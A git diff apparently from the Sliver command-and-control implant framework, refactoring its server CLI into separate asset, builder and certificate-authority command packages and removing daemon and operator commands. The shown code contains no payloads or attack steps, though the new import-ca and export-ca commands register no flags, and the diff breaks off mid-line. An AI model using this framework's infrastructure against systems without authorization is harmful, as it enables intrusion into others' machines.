os.Exit(1) - } - - load, err := cmd.Flags().GetString(loadFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s\n", loadFlagStr, err) - os.Exit(1) - } - fi, err := os.Stat(load) - if os.IsNotExist(err) || fi.IsDir() { - fmt.Printf("Cannot load file %s\n", load) - os.Exit(1) - } - - data, err := os.ReadFile(load) - if err != nil { - fmt.Printf("Cannot read file %s", err) - os.Exit(1) - } - - importCA := &CA{} - err = json.Unmarshal(data, importCA) - if err != nil { - fmt.Printf("Failed to parse file %s", err) - os.Exit(1) - } - cert := []byte(importCA.Certificate) - key := []byte(importCA.PrivateKey) - certs.SaveCertificateAuthority(ca, cert, key) - }, -} - -var cmdExportCA = &cobra.Command{ - Use: "export-ca", - Short: "Export certificate authority", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - caType, err := cmd.Flags().GetString(caTypeFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s", caTypeFlagStr, err) - os.Exit(1) - } - ca, ok := CATypes[caType] - if !ok { - CAs := strings.Join(validCATypes(), ", ") - fmt.Printf("Invalid ca type '%s' must be one of %s", caType, CAs) - os.Exit(1) - } - - save, err := cmd.Flags().GetString(saveFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s\n", saveFlagStr, err) - os.Exit(1) - } - if save == "" { - save, _ = os.Getwd() - } - - certs.SetupCAs() - certificateData, privateKeyData, err := certs.GetCertificateAuthorityPEM(ca) - if err != nil { - fmt.Printf("Error reading CA %s\n", err) - os.Exit(1) - } - exportedCA := &CA{ - Certificate: string(certificateData), - PrivateKey: string(privateKeyData), - } - - saveTo, _ := filepath.Abs(save) - fi, err := os.Stat(saveTo) - if !os.IsNotExist(err) && !fi.IsDir() { - fmt.Printf("File already exists: %s\n", err) - os.Exit(1) - } - if !os.IsNotExist(err) && fi.IsDir() { - filename := fmt.Sprintf("%s.ca", filepath.Base(caType)) - saveTo = filepath.Join(saveTo, filename) - } - data, _ := json.Marshal(exportedCA) - err = os.WriteFile(saveTo, data, 0600) - if err != nil { - fmt.Printf("Write failed: %s (%s)\n", saveTo, err) - os.Exit(1) - } - }, -} diff --git a/server/cli/cli.go b/server/cli/cli.go index 488ea42ef3..7dc51ac23b 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -20,20 +20,22 @@ package cli import ( "fmt" - "log" "os" - "path/filepath" - "strings" + + "github.com/rsteube/carapace" + "github.com/spf13/cobra" "github.com/bishopfox/sliver/client/command" - sliverConsoleCmd "github.com/bishopfox/sliver/client/command/console" - "github.com/bishopfox/sliver/client/console" - consts "github.com/bishopfox/sliver/client/constants" + assetsCmds "github.com/bishopfox/sliver/server/command/assets" + builderCmds "github.com/bishopfox/sliver/server/command/builder" + certsCmds "github.com/bishopfox/sliver/server/command/certs" + + consoleCmd "github.com/bishopfox/sliver/client/command/console" "github.com/bishopfox/sliver/server/assets" + "github.com/bishopfox/sliver/server/c2" "github.com/bishopfox/sliver/server/certs" + "github.com/bishopfox/sliver/server/configs" "github.com/bishopfox/sliver/server/cryptography" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" ) const ( @@ -50,78 +52,13 @@ const ( // Cert flags caTypeFlagStr = "type" loadFlagStr = "load" - - // console log file name - logFileName = "console.log" ) -// Initialize logging -func initConsoleLogging(appDir string) *os.File { - log.SetFlags(log.LstdFlags | log.Lshortfile) - logFile, err := os.OpenFile(filepath.Join(appDir, "logs", logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600) - if err != nil { - log.Fatalf("Error opening file: %v", err) - } - log.SetOutput(logFile) - return logFile -} - -var rootCmd = &cobra.Command{ - Use: "sliver-server", - Short: "", - Long: ``, - // Run: func(cmd *cobra.Command, args []string) { - // // Root command starts the server normally - // - // appDir := assets.GetRootAppDir() - // logFile := initConsoleLogging(appDir) - // defer logFile.Close() - // - // defer func() { - // if r := recover(); r != nil { - // log.Printf("panic:\n%s", debug.Stack()) - // fmt.Println("stacktrace from panic: \n" + string(debug.Stack())) - // os.Exit(99) - // } - // }() - // - // assets.Setup(false, true) - // certs.SetupCAs() - // certs.SetupWGKeys() - // cryptography.AgeServerKeyPair() - // cryptography.MinisignServerPrivateKey() - // - // serverConfig := configs.GetServerConfig() - // c2.StartPersistentJobs(serverConfig) - // console.StartPersistentJobs(serverConfig) - // if serverConfig.DaemonMode { - // daemon.Start(daemon.BlankHost, daemon.BlankPort) - // } else { - // os.Args = os.Args[:1] // Hide cli from grumble console - // console.Start() - // } - // }, -} - // Execute - Execute root command func Execute() { // Console interface, started closed-loop or not. - con := console.NewConsole(true) - // Teamserver/client API and commands for remote/local CLI. - teamserver, teamclient := newSliverTeam(con) - - con.Teamclient = teamclient - - // Bind commands to the app - server := con.App.Menu(consts.ServerMenu) - server.SetCommands(command.ServerCommands(con, teamserver)) - - serverCmds := command.ServerCommands(con, teamserver)() - serverCmds.Use = "sliver-server" - - // sliver := con.App.Menu(consts.ImplantMenu) - // sliver.SetCommands(command.SliverCommands(con)) + teamserver, con := newSliverTeam() // Pre-runners to self-connect preRun := func(cmd *cobra.Command, _ []string) error { @@ -132,46 +69,41 @@ func Execute() { cryptography.AgeServerKeyPair() cryptography.MinisignServerPrivateKey() + // TODO: Move this out of here. + serverConfig := configs.GetServerConfig() + c2.StartPersistentJobs(serverConfig) + // Let our runtime teamclient be served. if err := teamserver.Serve(con.Teamclient); err != nil { return err } - console.StartClient(con, command.ServerCommands(con, teamserver), command.SliverCommands(con)) return nil } - serverCmds.PersistentPreRunE = preRun - - serverCmds.AddCommand(sliverConsoleCmd.Command(con)) - - // Unpack - unpackCmd.Flags().BoolP(forceFlagStr, "f", false, "Force unpack and overwrite") - serverCmds.AddCommand(unpackCmd) - - // Certs - cmdExportCA.Flags().StringP(saveFlagStr, "s", "", "save CA to file ...") - cmdExportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) - serverCmds.AddCommand(cmdExportCA) + serverCmds := command.ServerCommands(con, teamserver)() + serverCmds.Use = "sliver-server" - cmdImportCA.Flags().StringP(loadFlagStr, "l", "", "load CA from file ...") - cmdImportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) - serverCmds.AddCommand(cmdImportCA) + serverCmds.PersistentPreRunE = preRun - // Builder - // rootCmd.AddCommand(initBuilderCmd()) + serverCmds.AddCommand(versionCmd) + serverCmds.AddCommand(assetsCmds.Commands()...) + serverCmds.AddCommand(builderCmds.Commands()...) + serverCmds.AddCommand(certsCmds.Commands()...) - // Version - // rootCmd.AddCommand(versionCmd) + // Console + consoleServerCmds := command.ServerCommands(con, teamserver) + consoleSliverCmds := command.SliverCommands(con) + serverCmds.AddCommand(consoleCmd.Command(con, consoleServerCmds, consoleSliverCmds)) // Completions comps := carapace.Gen(serverCmds) comps.PreRun(func(cmd *cobra.Command, args []string) { preRun(cmd, args) }) - // comps.PostRun(func(cmd *cobra.Command, args []string) { - // postRun(cmd, args) - // }) + comps.PostRun(func(cmd *cobra.Command, args []string) { + con.Teamclient.Disconnect() + }) if err := serverCmds.Execute(); err != nil { fmt.Println(err) @@ -179,40 +111,6 @@ func Execute() { } } -// func initAlt() { -// // Unpack -// unpackCmd.Flags().BoolP(forceFlagStr, "f", false, "Force unpack and overwrite") -// rootCmd.AddCommand(unpackCmd) -// -// // Operator -// // operatorCmd.Flags().StringP(nameFlagStr, "n", "", "operator name") -// // operatorCmd.Flags().StringP(lhostFlagStr, "l", "", "multiplayer listener host") -// // operatorCmd.Flags().Uint16P(lportFlagStr, "p", uint16(31337), "multiplayer listener port") -// // operatorCmd.Flags().StringP(saveFlagStr, "s", "", "save file to ...") -// // rootCmd.AddCommand(operatorCmd) -// -// // Certs -// cmdExportCA.Flags().StringP(saveFlagStr, "s", "", "save CA to file ...") -// cmdExportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) -// rootCmd.AddCommand(cmdExportCA) -// -// cmdImportCA.Flags().StringP(loadFlagStr, "l", "", "load CA from file ...") -// cmdImportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) -// rootCmd.AddCommand(cmdImportCA) -// -// // Daemon -// // daemonCmd.Flags().StringP(lhostFlagStr, "l", daemon.BlankHost, "multiplayer listener host") -// // daemonCmd.Flags().Uint16P(lportFlagStr, "p", daemon.BlankPort, "multiplayer listener port") -// // daemonCmd.Flags().BoolP(forceFlagStr, "f", false, "force unpack and overwrite static assets") -// // rootCmd.AddCommand(daemonCmd) -// -// // Builder -// rootCmd.AddCommand(initBuilderCmd()) -// -// // Version -// rootCmd.AddCommand(versionCmd) -// } - // func init() { // // Console interface, started closed-loop or not. // con := console.NewConsole(false) @@ -297,3 +195,40 @@ func Execute() { // preRun(cmd, args) // }) // } + +// var rootCmd = &cobra.Command{ +// Use: "sliver-server", +// Short: "", +// Long: ``, +// Run: func(cmd *cobra.Command, args []string) { +// // Root command starts the server normally +// +// appDir := assets.GetRootAppDir() +// logFile := initConsoleLogging(appDir) +// defer logFile.Close() +// +// defer func() { +// if r := recover(); r != nil { +// log.Printf("panic:\n%s", debug.Stack()) +// fmt.Println("stacktrace from panic: \n" + string(debug.Stack())) +// os.Exit(99) +// } +// }() +// +// assets.Setup(false, true) +// certs.SetupCAs() +// certs.SetupWGKeys() +// cryptography.AgeServerKeyPair() +// cryptography.MinisignServerPrivateKey() +// +// serverConfig := configs.GetServerConfig() +// c2.StartPersistentJobs(serverConfig) +// console.StartPersistentJobs(serverConfig) +// if serverConfig.DaemonMode { +// daemon.Start(daemon.BlankHost, daemon.BlankPort) +// } else { +// os.Args = os.Args[:1] // Hide cli from grumble console +// console.Start() +// } +// }, +// } diff --git a/server/cli/daemon.go b/server/cli/daemon.go deleted file mode 100644 index 618d919dfe..0000000000 --- a/server/cli/daemon.go +++ /dev/null @@ -1,62 +0,0 @@ -package cli - -import ( - "fmt" - "log" - "os" - "runtime/debug" - - "github.com/bishopfox/sliver/server/assets" - "github.com/bishopfox/sliver/server/c2" - "github.com/bishopfox/sliver/server/certs" - "github.com/bishopfox/sliver/server/configs" - "github.com/bishopfox/sliver/server/cryptography" - "github.com/bishopfox/sliver/server/daemon" - "github.com/spf13/cobra" -) - -var daemonCmd = &cobra.Command{ - Use: "daemon", - Short: "Force start server in daemon mode", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - force, err := cmd.Flags().GetBool(forceFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s\n", forceFlagStr, err) - return - } - lhost, err := cmd.Flags().GetString(lhostFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s\n", lhostFlagStr, err) - return - } - lport, err := cmd.Flags().GetUint16(lportFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s\n", lportFlagStr, err) - return - } - - appDir := assets.GetRootAppDir() - logFile := initConsoleLogging(appDir) - defer logFile.Close() - - defer func() { - if r := recover(); r != nil { - log.Printf("panic:\n%s", debug.Stack()) - fmt.Println("stacktrace from panic: \n" + string(debug.Stack())) - os.Exit(99) - } - }() - - assets.Setup(force, false) - certs.SetupCAs() - certs.SetupWGKeys() - cryptography.AgeServerKeyPair() - cryptography.MinisignServerPrivateKey() - - serverConfig := configs.GetServerConfig() - c2.StartPersistentJobs(serverConfig) - - daemon.Start(lhost, uint16(lport)) - }, -} diff --git a/server/cli/operator.go b/server/cli/operator.go deleted file mode 100644 index 2876c8b6ae..0000000000 --- a/server/cli/operator.go +++ /dev/null @@ -1,95 +0,0 @@ -package cli - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "fmt" - "os" - "path/filepath" - - "github.com/bishopfox/sliver/server/certs" - "github.com/bishopfox/sliver/server/console" - "github.com/spf13/cobra" -) - -var operatorCmd = &cobra.Command{ - Use: "operator", - Short: "Generate operator configuration files", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - - name, err := cmd.Flags().GetString(nameFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s", nameFlagStr, err) - os.Exit(1) - } - if name == "" { - fmt.Printf("Must specify --%s", nameFlagStr) - os.Exit(1) - } - - lhost, err := cmd.Flags().GetString(lhostFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s", lhostFlagStr, err) - os.Exit(1) - } - if lhost == "" { - fmt.Printf("Must specify --%s", lhostFlagStr) - os.Exit(1) - } - - lport, err := cmd.Flags().GetUint16(lportFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s", lportFlagStr, err) - os.Exit(1) - } - - save, err := cmd.Flags().GetString(saveFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s", saveFlagStr, err) - os.Exit(1) - } - if save == "" { - save, _ = os.Getwd() - } - - certs.SetupCAs() - configJSON, err := console.NewOperatorConfig(name, lhost, lport) - if err != nil { - fmt.Printf("Failed: %s\n", err) - os.Exit(1) - } - - saveTo, _ := filepath.Abs(save) - fi, err := os.Stat(saveTo) - if !os.IsNotExist(err) && !fi.IsDir() { - fmt.Printf("File already exists: %s\n", err) - os.Exit(1) - } - if !os.IsNotExist(err) && fi.IsDir() { - filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(name), filepath.Base(lhost)) - saveTo = filepath.Join(saveTo, filename) - } - err = os.WriteFile(saveTo, configJSON, 0600) - if err != nil { - fmt.Printf("Write failed: %s (%s)\n", saveTo, err) - os.Exit(1) - } - }, -} diff --git a/server/cli/teamserver.go b/server/cli/teamserver.go index 31cc8b58db..84107e7c81 100644 --- a/server/cli/teamserver.go +++ b/server/cli/teamserver.go @@ -25,22 +25,15 @@ import ( "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/bishopfox/sliver/server/rpc" - "github.com/reeflective/team/client" "github.com/reeflective/team/server" teamGrpc "github.com/reeflective/team/transports/grpc/server" "google.golang.org/grpc" ) -func newSliverTeam(con *console.SliverClient) (*server.Server, *client.Client) { +func newSliverTeam() (*server.Server, *console.SliverClient) { // Teamserver gTeamserver := teamGrpc.NewListener() - var serverOpts []server.Options - serverOpts = append(serverOpts, - server.WithDefaultPort(31337), - server.WithListener(gTeamserver), - ) - bindServer := func(grpcServer *grpc.Server) error { if grpcServer == nil { return errors.New("No gRPC server to use for service") @@ -51,6 +44,12 @@ func newSliverTeam(con *console.SliverClient) (*server.Server, *client.Client) { return nil } + var serverOpts []server.Options + serverOpts = append(serverOpts, + server.WithDefaultPort(31337), + server.WithListener(gTeamserver), + ) + gTeamserver.PostServe(bindServer) teamserver, err := server.New("sliver", serverOpts...) @@ -61,23 +60,9 @@ func newSliverTeam(con *console.SliverClient) (*server.Server, *client.Client) { // Teamclient gTeamclient := teamGrpc.NewClientFrom(gTeamserver) - bindClient := func(clientConn any) error { - grpcClient, ok := clientConn.(*grpc.ClientConn) - if !ok || grpcClient == nil { - return errors.New("No gRPC client to use for service") - } - - con.Rpc = rpcpb.NewSliverRPCClient(grpcClient) - - return nil - } - - var clientOpts []client.Options - clientOpts = append(clientOpts, - client.WithDialer(gTeamclient, bindClient), - ) + sliver, opts := console.NewSliverClient(gTeamclient) - teamclient := teamserver.Self(clientOpts...) + sliver.Teamclient = teamserver.Self(opts...) - return teamserver, teamclient + return teamserver, sliver } diff --git a/server/cli/unpack.go b/server/command/assets/unpack.go similarity index 55% rename from server/cli/unpack.go rename to server/command/assets/unpack.go index e6b72fd558..f3bbe77b54 100644 --- a/server/cli/unpack.go +++ b/server/command/assets/unpack.go @@ -1,4 +1,4 @@ -package cli +package assets /* Sliver Implant Framework @@ -25,18 +25,29 @@ import ( "github.com/spf13/cobra" ) -var unpackCmd = &cobra.Command{ - Use: "unpack", - Short: "Unpack assets and exit", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - - force, err := cmd.Flags().GetBool(forceFlagStr) - if err != nil { - fmt.Printf("Failed to parse --%s flag %s\n", forceFlagStr, err) - return - } +const ( + // Unpack flags + forceFlagStr = "force" +) - assets.Setup(force, true) - }, +// Commands returns all commands for Sliver assets management. +func Commands() []*cobra.Command { + unpackCmd := &cobra.Command{ + Use: "unpack", + Short: "Unpack assets and exit", + Long: ``, + Run: func(cmd *cobra.Command, args []string) { + force, err := cmd.Flags().GetBool(forceFlagStr) + if err != nil { + fmt.Printf("Failed to parse --%s flag %s\n", forceFlagStr, err) + return + } + + assets.Setup(force, true) + }, + } + + unpackCmd.Flags().BoolP(forceFlagStr, "f", false, "Force unpack and overwrite") + + return []*cobra.Command{unpackCmd} } diff --git a/server/cli/builder.go b/server/command/builder/builder.go similarity index 71% rename from server/cli/builder.go rename to server/command/builder/builder.go index 80037adb94..25316e02b6 100644 --- a/server/cli/builder.go +++ b/server/command/builder/builder.go @@ -1,4 +1,4 @@ -package cli +package builder /* Sliver Implant Framework @@ -35,11 +35,11 @@ import ( "github.com/spf13/cobra" ) -var ( - builderLog = log.NamedLogger("cli", "builder") -) +var builderLog = log.NamedLogger("cli", "builder") const ( + nameFlagStr = "name" + enableTargetFlagStr = "enable-target" disableTargetFlagStr = "disable-target" @@ -48,7 +48,15 @@ const ( logLevelFlagStr = "log-level" ) -func initBuilderCmd() *cobra.Command { +// Commands returns all commands for using Sliver as a builder backend. +func Commands() []*cobra.Command { + builderCmd := &cobra.Command{ + Use: "builder", + Short: "Start the process as an external builder", + Long: ``, + Run: runBuilderCmd, + } + builderCmd.Flags().StringP(nameFlagStr, "n", "", "Name of the builder (blank = hostname)") builderCmd.Flags().IntP(logLevelFlagStr, "L", 4, "Logging level: 1/fatal, 2/error, 3/warn, 4/info, 5/debug, 6/trace") builderCmd.Flags().StringP(operatorConfigFlagStr, "c", "", "operator config file path") @@ -58,77 +66,72 @@ func initBuilderCmd() *cobra.Command { builderCmd.Flags().StringSlice(enableTargetFlagStr, []string{}, "force enable a target: format:goos/goarch") builderCmd.Flags().StringSlice(disableTargetFlagStr, []string{}, "force disable target arch: format:goos/goarch") - return builderCmd + return []*cobra.Command{builderCmd} } -var builderCmd = &cobra.Command{ - Use: "builder", - Short: "Start the process as an external builder", - Long: ``, - Run: func(cmd *cobra.Command, args []string) { - configPath, err := cmd.Flags().GetString(operatorConfigFlagStr) - if err != nil { - builderLog.Errorf("Failed to parse --%s flag %s\n", operatorConfigFlagStr, err) - return - } - if configPath == "" { - builderLog.Errorf("Missing --%s flag\n", operatorConfigFlagStr) - return - } +func runBuilderCmd(cmd *cobra.Command, args []string) { + configPath, err := cmd.Flags().GetString(operatorConfigFlagStr) + if err != nil { + builderLog.Errorf("Failed to parse --%s flag %s\n", operatorConfigFlagStr, err) + return + } + if configPath == "" { + builderLog.Errorf("Missing --%s flag\n", operatorConfigFlagStr) + return + } - quiet, err := cmd.Flags().GetBool(quietFlagStr) - if err != nil { - builderLog.Errorf("Failed to parse --%s flag %s\n", quietFlagStr, err) - } - if !quiet { - log.RootLogger.AddHook(log.NewStdoutHook(log.RootLoggerName)) - } - builderLog.Infof("Initializing Sliver external builder - %s", version.FullVersion()) + quiet, err := cmd.Flags().GetBool(quietFlagStr) + if err != nil { + builderLog.Errorf("Failed to parse --%s flag %s\n", quietFlagStr, err) + } + if !quiet { + log.RootLogger.AddHook(log.NewStdoutHook(log.RootLoggerName)) + } + builderLog.Infof("Initializing Sliver external builder - %s", version.FullVersion()) - level, err := cmd.Flags().GetInt(logLevelFlagStr) - if err != nil { - builderLog.Errorf("Failed to parse --%s flag %s\n", logLevelFlagStr, err) - return - } - log.RootLogger.SetLevel(log.LevelFrom(level)) + level, err := cmd.Flags().GetInt(logLevelFlagStr) + if err != nil { + builderLog.Errorf("Failed to parse --%s flag %s\n", logLevelFlagStr, err) + return + } + log.RootLogger.SetLevel(log.LevelFrom(level)) - defer func() { - if r := recover(); r != nil { - builderLog.Printf("panic:\n%s", debug.Stack()) - builderLog.Fatalf("stacktrace from panic: \n" + string(debug.Stack())) - os.Exit(99) - } - }() + defer func() { + if r := recover(); r != nil { + builderLog.Printf("panic:\n%s", debug.Stack()) + builderLog.Fatalf("stacktrace from panic: \n" + string(debug.Stack())) + os.Exit(99) + } + }() - externalBuilder := parseBuilderConfigFlags(cmd) - externalBuilder.Templates = []string{"sliver"} + externalBuilder := parseBuilderConfigFlags(cmd) + externalBuilder.Templates = []string{"sliver"} - // load the client configuration from the filesystem - config, err := clientAssets.ReadConfig(configPath) + // load the client configuration from the filesystem + config, err := clientAssets.ReadConfig(configPath) + if err != nil { + builderLog.Fatalf("Invalid config file: %s", err) + os.Exit(-1) + } + if externalBuilder.Name == "" { + builderLog.Infof("No builder name was specified, attempting to use hostname") + externalBuilder.Name, err = os.Hostname() if err != nil { - builderLog.Fatalf("Invalid config file: %s", err) - os.Exit(-1) - } - if externalBuilder.Name == "" { - builderLog.Infof("No builder name was specified, attempting to use hostname") - externalBuilder.Name, err = os.Hostname() - if err != nil { - builderLog.Errorf("Failed to get hostname: %s", err) - externalBuilder.Name = fmt.Sprintf("%s's %s builder", config.Operator, runtime.GOOS) - } + builderLog.Errorf("Failed to get hostname: %s", err) + externalBuilder.Name = fmt.Sprintf("%s's %s builder", config.Operator, runtime.GOOS) } - builderLog.Infof("Hello my name is: %s", externalBuilder.Name) + } + builderLog.Infof("Hello my name is: %s", externalBuilder.Name) - // connect to the server - builderLog.Infof("Connecting to %s@%s:%d ...", config.Operator, config.LHost, config.LPort) - rpc, ln, err := transport.MTLSConnect(config) - if err != nil { - builderLog.Errorf("Failed to connect to server: %s", err) - os.Exit(-2) - } - defer ln.Close() - builder.StartBuilder(externalBuilder, rpc) - }, + // connect to the server + builderLog.Infof("Connecting to %s@%s:%d ...", config.Operator, config.LHost, config.LPort) + rpc, ln, err := transport.MTLSConnect(config) + if err != nil { + builderLog.Errorf("Failed to connect to server: %s", err) + os.Exit(-2) + } + defer ln.Close() + builder.StartBuilder(externalBuilder, rpc) } func parseBuilderConfigFlags(cmd *cobra.Command) *clientpb.Builder { diff --git a/server/command/certs/certs.go b/server/command/certs/certs.go new file mode 100644 index 0000000000..aaac31e2f0 --- /dev/null +++ b/server/command/certs/certs.go @@ -0,0 +1,169 @@ +package certs + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "encoding/json" + "fmt" + "os" + "path/filepath" + "strings" + + "github.com/bishopfox/sliver/server/certs" + "github.com/spf13/cobra" +) + +// CATypes - CA types +var CATypes = map[string]string{ + "operator": certs.OperatorCA, + "mtls": certs.MtlsImplantCA, + "https": certs.HTTPSCA, +} + +const ( + // Cert flags + caTypeFlagStr = "type" + loadFlagStr = "load" + saveFlagStr = "save" +) + +// CA - Exported CA format +type CA struct { + Certificate string `json:"certificate"` + PrivateKey string `json:"private_key"` +} + +func validCATypes() []string { + types := []string{} + for caType := range CATypes { + types = append(types, caType) + } + return types +} + +// Commands returns all commands for Sliver-specific Certificates management. +func Commands() []*cobra.Command { + cmdImportCA := &cobra.Command{ + Use: "import-ca", + Short: "Import certificate authority", + Long: ``, + Run: runBuilderCmd, + } + + cmdExportCA := &cobra.Command{ + Use: "export-ca", + Short: "Export certificate authority", + Long: ``, + Run: exportCACmd, + } + + return []*cobra.Command{cmdImportCA, cmdExportCA} +} + +func runBuilderCmd(cmd *cobra.Command, args []string) { + caType, err := cmd.Flags().GetString(caTypeFlagStr) + if err != nil { + fmt.Printf("Failed to parse --%s flag %s", caTypeFlagStr, err) + os.Exit(1) + } + ca, ok := CATypes[caType] + if !ok { + CAs := strings.Join(validCATypes(), ", ") + fmt.Printf("Invalid ca type '%s' must be one of %s", caType, CAs) + os.Exit(1) + } + + load, err := cmd.Flags().GetString(loadFlagStr) + if err != nil { + fmt.Printf("Failed to parse --%s flag %s\n", loadFlagStr, err) + os.Exit(1) + } + fi, err := os.Stat(load) + if os.IsNotExist(err) || fi.IsDir() { + fmt.Printf("Cannot load file %s\n", load) + os.Exit(1) + } + + data, err := os.ReadFile(load) + if err != nil { + fmt.Printf("Cannot read file %s", err) + os.Exit(1) + } + + importCA := &CA{} + err = json.Unmarshal(data, importCA) + if err != nil { + fmt.Printf("Failed to parse file %s", err) + os.Exit(1) + } + cert := []byte(importCA.Certificate) + key := []byte(importCA.PrivateKey) + certs.SaveCertificateAuthority(ca, cert, key) +} + +func exportCACmd(cmd *cobra.Command, args []string) { + caType, err := cmd.Flags().GetString(caTypeFlagStr) + if err != nil { + fmt.Printf("Failed to parse --%s flag %s", caTypeFlagStr, err) + os.Exit(1) + } + ca, ok := CATypes[caType] + if !ok { + CAs := strings.Join(validCATypes(), ", ") + fmt.Printf("Invalid ca type '%s' must be one of %s", caType, CAs) + os.Exit(1) + } + + save, err := cmd.Flags().GetString(saveFlagStr) + if err != nil { + fmt.Printf("Failed to parse --%s flag %s\n", saveFlagStr, err) + os.Exit(1) + } + if save == "" { + save, _ = os.Getwd() + } + + certs.SetupCAs() + certificateData, privateKeyData, err := certs.GetCertificateAuthorityPEM(ca) + if err != nil { + fmt.Printf("Error reading CA %s\n", err) + os.Exit(1) + } + exportedCA := &CA{ + Certificate: string(certificateData), + PrivateKey: string(privateKeyData), + } + + saveTo, _ := filepath.Abs(save) + fi, err := os.Stat(saveTo) + if !os.IsNotExist(err) && !fi.IsDir() { + fmt.Printf("File already exists: %s\n", err) + os.Exit(1) + } + if !os.IsNotExist(err) && fi.IsDir() { + filename := fmt.Sprintf("%s.ca", filepath.Base(caType)) + saveTo = filepath.Join(saveTo, filename) + } + data, _ := json.Marshal(exportedCA) + err = os.WriteFile(saveTo, data, 0o600) + if err != nil { + fmt.Printf("Write failed: %s (%s)\n", saveTo, err) + os.Exit(1) + } +} diff --git a/server/core/events.go b/server/core/events.go index 4084c5b13b..d5114df3e6 100644 --- a/server/core/events.go +++ b/server/core/events.go @@ -24,6 +24,7 @@ import ( const ( // Size is arbitrary, just want to avoid weird cases where we'd block on channel sends + // // NOTE: Changed by me: when clients are one-time exec CLI commands, you don't know how // fast they connect/disconnect from their RPC.Events() call. // When the event channels are buffered, sooner or later the broker writes to a closed diff --git a/server/rpc/rpc-events.go b/server/rpc/rpc-events.go index c43f74022c..4d24840a69 100644 --- a/server/rpc/rpc-events.go +++ b/server/rpc/rpc-events.go @@ -16,10 +16,10 @@ func (rpc *Server) Events(_ *commonpb.Empty, stream rpcpb.SliverRPC_EventsServer client := core.NewClient(commonName) core.Clients.Add(client) events := core.EventBroker.Subscribe() - rpcEventsLog.Infof("Client %d connected", client.ID) + rpcEventsLog.Debugf("Client %d connected", client.ID) defer func() { - rpcEventsLog.Infof("Client %d disconnected", client.ID) + rpcEventsLog.Debugf("Client %d disconnected", client.ID) core.EventBroker.Unsubscribe(events) core.Clients.Remove(client.ID) }() diff --git a/vendor/github.com/reeflective/console/console.go b/vendor/github.com/reeflective/console/console.go index 6a7fe8a310..ae9898f563 100644 --- a/vendor/github.com/reeflective/console/console.go +++ b/vendor/github.com/reeflective/console/console.go @@ -42,7 +42,7 @@ type Console struct { // input line being ultimately provided to the command parser. This might // be used by people who want to apply supplemental, specific processing // on the command input line. - PreCmdRunLineHooks []func(raw []string) (args []string, err error) + PreCmdRunLineHooks []func(args []string) ([]string, error) // PreCmdRunHooks - Once the user has entered a command, but before executing // the target command, the console will execute every function in this list. diff --git a/vendor/github.com/reeflective/console/menu.go b/vendor/github.com/reeflective/console/menu.go index 7302a76f5e..27d8412a18 100644 --- a/vendor/github.com/reeflective/console/menu.go +++ b/vendor/github.com/reeflective/console/menu.go @@ -194,7 +194,7 @@ func (m *Menu) resetPreRun() { defer m.console.mutex.RUnlock() // Menu setup - m.ResetCommands() // Regenerate the commands for the menu. + m.resetCommands() // Regenerate the commands for the menu. m.resetCmdOutput() // Reset or adjust any buffered command output. m.prompt.bind(m.console.shell) // Prompt binding @@ -217,7 +217,7 @@ func (m *Menu) resetCmdOutput() { m.out.WriteString("\n") } -func (m *Menu) Reset() { +func (m *Menu) resetCommands() { if m.cmds != nil { m.Command = m.cmds() } diff --git a/vendor/github.com/reeflective/console/run.go b/vendor/github.com/reeflective/console/run.go index c26264d040..eb5b60b9c1 100644 --- a/vendor/github.com/reeflective/console/run.go +++ b/vendor/github.com/reeflective/console/run.go @@ -87,45 +87,6 @@ func (c *Console) Start() error { } } -// Execute is a mimic of the classic one-time cobra command execution. -// This call is thus blocking during the entire parsing/execution process -// of a command-line, but will not happen in the closed-loop console, nor -// will start it (unless the target command does it by itself). -// -// This function should be useful if you have trees of commands that can -// be executed both in closed-loop applications or in a one-off exec style. -// Normally, most command should, if your command behavior/API has no magic. -// This function also does not print any logo. -// -// The command line (os.Args) is matched against the currently active menu. -// Be sure to set and verify this menu before calling this function. -func (c *Console) ExecuteOnce() error { - // Always ensure we work with the active menu, with freshly - // generated commands, bound prompts and some other things. - menu := c.activeMenu() - menu.resetPreRun() - - c.printed = false - - if 